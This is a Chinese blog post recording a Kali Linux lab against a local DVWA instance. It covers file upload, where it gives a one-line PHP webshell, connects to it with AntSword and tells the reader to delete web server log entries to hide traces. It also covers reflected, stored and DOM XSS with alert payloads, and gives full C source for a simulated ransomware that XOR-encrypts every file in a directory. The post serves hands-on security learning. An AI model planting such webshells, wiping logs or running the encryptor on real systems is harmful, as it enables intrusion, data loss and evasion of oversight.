kaliLinux

最新推荐文章于 2025-03-13 14:25:02 发布
最新推荐文章于 2025-03-13 14:25:02 发布
阅读量1.1k 收藏 7
点赞数
文章标签： 网络安全 web安全 xss 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_77024414/article/details/131453504
版权

一次kali实验

环境配置

Windows10 IP地址：192.168.254.1

Kali虚拟机一台 IP地址：192.168.254.50

实验一、文件上传漏洞

利用dvwa靶场中的文件上传漏洞模块实现

首先在win10上启动dvwa靶场

之后用kali自带的工具nmap进行端口扫描

nmap 192.168.254.1

结果如图所示：
在这里插入图片描述

查看到服务器的80端口存在web服务

想要隐藏自身IP地址可通过网络代理实现

登陆浏览器访问192.168.254.1进入dvwa
在这里插入图片描述

将安全等级设置为low

选择file upload模块

创建一句话木马文件muma.php

<?php @eval($_POST["shell"]);?>

保存后上传到dvwa，显示如下界面：

在这里插入图片描述

之后打开蚁剑工具右键添加数据进行远程连接

在这里插入图片描述

Url地址为：http://192.168.254.1/hackable/uploads/muma.php

密码为shell

成功后蚁剑就会通过向服务器发送包含shell参数的post请求，在服务器上执行任意命令，获取webshell权限。

在这里插入图片描述

最后进行痕迹消除，寻找nginx的web日志文件，一般存储于access.log和error.log中，然后删除对应记录即可。

在这里插入图片描述

实验二、XSS漏洞

XSS漏洞是指攻击者将恶意代码注入到网页中，当其他用户浏览该页面时，恶意代码会被执行，从而获取用户敏感信息或进行其他攻击。

一般分为三种，下面一一实现：

1、反射型XSS

交互的数据一般不会存储在数据库里,只是简单的把用户输入的数据反射给浏览器(一次性的)。需用户访问特定的url才能生效,并且访问产生的收据不会对服务端造成影响。

选择dvwa中的XSS (Reflected)模块

直接在输入框中输入恶意JavaScript脚本

<script>alert("Hello World")</script>

结果如图：

在这里插入图片描述

将该url发送到其他用户，用户点击后JavaScript脚本同样执行

http://192.168.254.1/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22Hello+World%22%29%3C%2Fscript%3E#
在这里插入图片描述

2、存储型XSS

交互的数据会被存在数据库里,永久性存储,具很强的稳定性。会对访问网站相应页面的所有用户造成影响。

选择dvwa中的XSS (Stored)模块

植入恶意JavaScript代码

Name可随意输入

Message处植入恶意代码
在这里插入图片描述

上传后，该脚本会持续保存在数据库中，之后所有用户访问该页面时都会执行上传的恶意JavaScript脚本
在这里插入图片描述
在这里插入图片描述

想要删除的话，需在dvwa的数据库中删除对应的记录

3、DOM型XSS

不与后台服务器产生数据交互,通过前端DOM节点形成XSS漏洞。会在网站页面生成超链接信息,超链接信息中会自动加载恶意代码,影响客户端。

选择dvwa的XSS(DOM)模块

点击Select后发现页面刷新url后拼接了default=English

在这里插入图片描述

尝试修改url

http://192.168.254.1/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27jinitaimei%27)%3C/script%3E

访问后结果如图

在这里插入图片描述

实验三、模拟勒索病毒进行攻击

在该实验中我们制作一个简易的加密程序模仿勒索病毒进行攻击

首先我们在靶机中创建一个新的test目录，然后在该目录下创建一个文本文件，输入自定义内容
在这里插入图片描述
在这里插入图片描述

接着我们编写一段加密代码，编译后上传到服务器，加密源代码如下：

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<sys/stat.h>

/*声明一些变量*/
char ch = '0';
char filename[256] = "";  //保存输入的数据 文件的路径
char filepath[256] = "";  //当前目录下的文件路径
FILE *fp = NULL;
FILE *fptemp = NULL;
char password[12] = "123456";
const char tempfile[256] = "temp1234567890.temp";
int pwdlen = 0;
int i = 0;  //作计数器

//函数声明
void inputpass(char *pass);
void encryptFile(const char *filename, const char *password);

//函数实现
void inputpass(char *pass)
{
    scanf("%s", pass);
}

void encryptFile(const char *filename, const char *password)
{
    if (NULL == (fp = fopen(filename, "rb")))
    {
        printf("无法打开文件: %s", filename);
        return;
    }
    printf("加密文件: %s", filename);

    pwdlen = strlen(password);
    if (0 == pwdlen)
    {
        printf("密码长度为0");
        fclose(fp);
        return;
    }

    // 创建临时文件
    strcpy(filepath, filename);
    strcat(filepath, tempfile);
    fptemp = fopen(filepath, "wb");
    if (fptemp == NULL)
    {
        printf("无法创建临时文件");
        fclose(fp);
        return;
    }

    // 逐字节加密并写入临时文件
    while (1)
    {
        ch = getc(fp);
        if (feof(fp))
        {
            /*判断文件是否读完*/
            break;
        }
        /*每取出一个字符就加密*/
        ch ^= password[i++];
        // ch里就是加密以后的数据了
        fputc(ch, fptemp);
        if (i == pwdlen)
        {
            i = 0;
        }
    }

    fclose(fp);
    fclose(fptemp);

    // 删除原文件，重命名临时文件
    remove(filename);
    rename(filepath, filename);

    printf("加密完成");
}

void encryptFilesInCurrentDir()
{
    DIR *dir = opendir(".");
    if (dir == NULL)
    {
        printf("无法打开当前目录");
        return;
    }

    struct dirent *entry;
    struct stat filestat;
    while ((entry = readdir(dir)) != NULL)
    {
        if (entry->d_name[0] != '.')  // 忽略隐藏文件
        {
            char filepath[256];
            sprintf(filepath, "./%s", entry->d_name);

            if (stat(filepath, &filestat) == 0 && S_ISREG(filestat.st_mode))  // 如果是普通文件
            {
                encryptFile(entry->d_name, password);
            }
        }
    }

    closedir(dir);
}

//主函数
int main(int argc, char const *argv[])
{
    printf("******************************\n");
    printf("********安全加密小程序*********\n");
    printf("当前目录下的所有文件将被加密,");
    printf("请输入密码: ");
    inputpass(password);

    encryptFilesInCurrentDir();

    return 0;
}

在这里插入图片描述
接着在此处打开终端，运行我们的加密程序
在这里插入图片描述

加密完成后，当前路径下所有的文件都会被加密，此时打开1.txt，看到的为加密后的文本
需运行解密程序后才能解除

解密程序源代码如下：

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<sys/stat.h>

/*声明一些变量*/
char ch = '0';
char filename[256] = "";  //保存输入的数据 文件的路径
char filepath[256] = "";  //当前目录下的文件路径
FILE *fp = NULL;
FILE *fptemp = NULL;
char password[12] = "123456";
const char tempfile[256] = "temp1234567890.temp";
int pwdlen = 0;
int i = 0;  //作计数器

//函数声明
void inputpass(char *pass);
void encryptFile(const char *filename, const char *password);

//函数实现
void inputpass(char *pass)
{
    scanf("%s", pass);
}

void encryptFile(const char *filename, const char *password)
{
    if (NULL == (fp = fopen(filename, "rb")))
    {
        printf("无法打开文件: %s", filename);
        return;
    }
    printf("加密文件: %s", filename);

    pwdlen = strlen(password);
    if (0 == pwdlen)
    {
        printf("密码长度为0");
        fclose(fp);
        return;
    }

    // 创建临时文件
    strcpy(filepath, filename);
    strcat(filepath, tempfile);
    fptemp = fopen(filepath, "wb");
    if (fptemp == NULL)
    {
        printf("无法创建临时文件");
        fclose(fp);
        return;
    }

    // 逐字节加密并写入临时文件
    while (1)
    {
        ch = getc(fp);
        if (feof(fp))
        {
            /*判断文件是否读完*/
            break;
        }
        /*每取出一个字符就加密*/
        ch ^= password[i++];
        // ch里就是加密以后的数据了
        fputc(ch, fptemp);
        if (i == pwdlen)
        {
            i = 0;
        }
    }

    fclose(fp);
    fclose(fptemp);

    // 删除原文件，重命名临时文件
    remove(filename);
    rename(filepath, filename);

    printf("加密完成");
}

void encryptFilesInCurrentDir()
{
    DIR *dir = opendir(".");
    if (dir == NULL)
    {
        printf("无法打开当前目录");
        return;
    }

    struct dirent *entry;
    struct stat filestat;
    while ((entry = readdir(dir)) != NULL)
    {
        if (entry->d_name[0] != '.')  // 忽略隐藏文件
        {
            char filepath[256];
            sprintf(filepath, "./%s", entry->d_name);

            if (stat(filepath, &filestat) == 0 && S_ISREG(filestat.st_mode))  // 如果是普通文件
            {
                encryptFile(entry->d_name, password);
            }
        }
    }

    closedir(dir);
}

//主函数
int main(int argc, char const *argv[])
{
    printf("******************************\n");
    printf("********安全加密小程序*********\n");
    printf("当前目录下的所有文件将被加密,");
    printf("请输入密码: ");
    inputpass(password);

    encryptFilesInCurrentDir();

    return 0;
}

将解密代码编译后，上传到相同目录下
在这里插入图片描述

然后在终端处运行

在这里插入图片描述

此时文件恢复正常

在这里插入图片描述

千华留
关注
kali实验过程与结果讲解
MIN_YI的博客
08-23 1698
kali实验过程与结果讲解（学习） 前期准备：打开虚拟机，开启完毕后会显示服务器的ip 1、 收集此服务器的信息。 1） 开放的端口及服务 nmap 192.168.100.100 通过命令查看目标IP开放的端口和服务，从而获得端口信息和开放的服务信息 2） 此服务器主机名 Nmap -sV 192.168.100.100 -sV 探测端口服务版本并且可以查看该服务器的主机名 2. 本次考核为...
Kali Linux 安装
WYJAI的博客
08-05 2208
本期主要学习了Kali的基本信息和Kali安装Kali与CentOS的指令有一点点不同，在使用指令时要注意在进行root用户密码修改时一定要切换到root用户，要注意这里第一次修改密码时用的指令，会要求先输入kali用户的密码，然后再设置root用户的密码，两次，后面切换root用户时用的sudo su指令，会要求输入kali的密码，而不是输入root的密码在用XShell连接Kali时，一定要先设置Kali允许远程连接物理机安装是指开机可以直接启动kali系统。
【黑客必看】2025最新kali Linux安装教程（超详细），看这一篇就够了
最新发布
2401_84215240的博客
03-13 2592
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完。
KaliLinux
qq_45765921的博客
11-07 1149
KaliLinux ​ kalilinux 的前身是BackTrackLinux发行版。kalilinux 是基于Debian的linux发行版，包括很多安全和取证方面的相关工具。 ​ Debian 遵守FHS（文件系统参差结构标准），相比较backtrack来说，是一个显著的优点，因为这样可以从系统任何一个地方调用一个工具，应用都包含在系统路径中，不需要浏览树导航。 kali特征 支持多种桌面环境，如GNOME,KDE,LXDE,XFCE等并且支持多种语言。 兼容Debi
kali linux
m0_73271597的博客
08-30 3367
Kali Linux入门 Kali Linux是Linux操作系统的特别发行版本。它的目标用户是那些希望从事信息安全工作的人。这可能是安全性测试，也可能是漏洞利用开发或逆向工程， 也可能是数字取证。Linux 发行版之间并不是完全一样的。Linux 实际上只是内核，即实际的操作系统和发行版核心。每个发行版都在该核心之上添加额外的软件，使其变得与众不同。就Kali而言，外层不仅包含基本的实用程序，还有数百个特定于信息安全工作的软件包。 Linux有一个很棒的优点，特别是和其他操作系统相比，它几乎是完全可定
Kali Linux渗透测试技术详解
02-19
第1篇为Iinux安全渗透测试基础，介绍了Linux安全透简介、安装及配置KaliLinux 操作系统、配置目标测试系统:第2篇为信息的收集及利用，介绍了信息收集、漏洞扫描、漏洞利用等技术:第3篇为各种渗透测试，介绍了权限...
Android Termux 安装Kali Linux 或 kali Nethunter史诗级详细教程
热门推荐
风云小虾米的博客
12-02 6万+
Termux 安装kali
Kali Linux渗透测试高级篇.rar
09-12
Kali Linux 是一款专门用于IT安全评估的Linux操作系统。目前作为被欢迎的Linux操作系统广泛用于安全评估项目中，其中提供600+安全工具，帮助安全人员更好的完成项目。课程主要内容：学习Kali Linux安全测试使用工具...
Kali Linux安装教程.pdf
08-22
kali linux安装教程
kali-linux
12-23
kali-linux使用总结，网上朋友的作品,我只做搬运工，谢谢！ https://www.cnblogs.com/student-programmer/category/986420.html
Kali Linux
11-20
渗透测试是对用户信息安全措施积极评估的过程。通过系统化的操作和分析
KaliLinux教程
07-13
新版KaliLinux书籍 渗透工具讲解
在 Kali Linux 下实战 Nmap（网络安全扫描器）
02-08
网络安全技术，在 Kali Linux 下实战 Nmap（网络安全扫描器）
Kali Linux渗透测试实训手册
11-08
Kali Linux的渗透测试实训手册，Kali Linux的渗透测试实训手册，
Kali Linux Revealed 完美版.pdf
11-26
### Kali Linux Revealed：掌握渗透测试发行版 #### 标题解读 - **Kali Linux Revealed**：本书旨在全面揭示Kali Linux的核心特性和高级功能，为读者提供一个深入学习Kali Linux的平台。 - **完美版**：表明这是一...
kali linux操作系统
weixin_34354173的博客
06-13 2679
最近在研究kali linux***操作系统，可能有许多人还不知道这个系统，但是，我可以告诉大家，你想成为电影***那样，这个操作系统能够帮助你实现KaliLinux前身是著名***测试系统BackTrack ，是一个基于 Debian 的 Linux 发行版，包含很多安全和取证方面的相关工具。本文假设你在新装好的kali linux环境下…命令之前的说明带#的,表示...
零基础想学黑客？推荐你了解一下Kali Linux！（建议收藏）
m0_74131821的博客
06-08 1698
相信每一个少年心中，曾经都有过一个黑客梦！
网络空间安全kali实验
12-29
### Kali Linux 实验室设置与教程 #### 设置网络环境 为了确保实验环境中网络配置正确，在Kali Linux下可以通过命令行工具来管理网络接口。对于希望重启网络服务的情况，可以使用如下命令： ```bash sudo systemctl restart NetworkManager.service ``` 这会重新启动`NetworkManager`服务并应用任何新的网络配置更改[^1]。 #### 执行基本扫描操作 针对目标网段执行端口和服务发现的任务时，可采用多种方法。例如，利用`masscan`快速扫描指定范围内的开放端口： ```bash masscan 192.168.184.0/24 -p 80,22 ``` 上述指令将对C类IP地址范围内所有主机上的HTTP(80)和SSH(22)端口实施高速探测[^2]。 另外一种方式是借助`netdiscover`主动查询局域网内活跃设备的信息： ```bash netdiscover -i eth0 -r 192.168.184.0/24 ``` 这里指定了要监听的具体网卡(`eth0`)以及待探索的目标子网。 #### 构建安全测试平台 构建一个完整的网络安全实验室不仅限于简单的命令执行；还需要考虑物理或虚拟硬件资源分配、操作系统安装、常用渗透测试软件包部署等多个方面。建议参考官方文档或其他权威资料获取更详细的指导[^3]。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值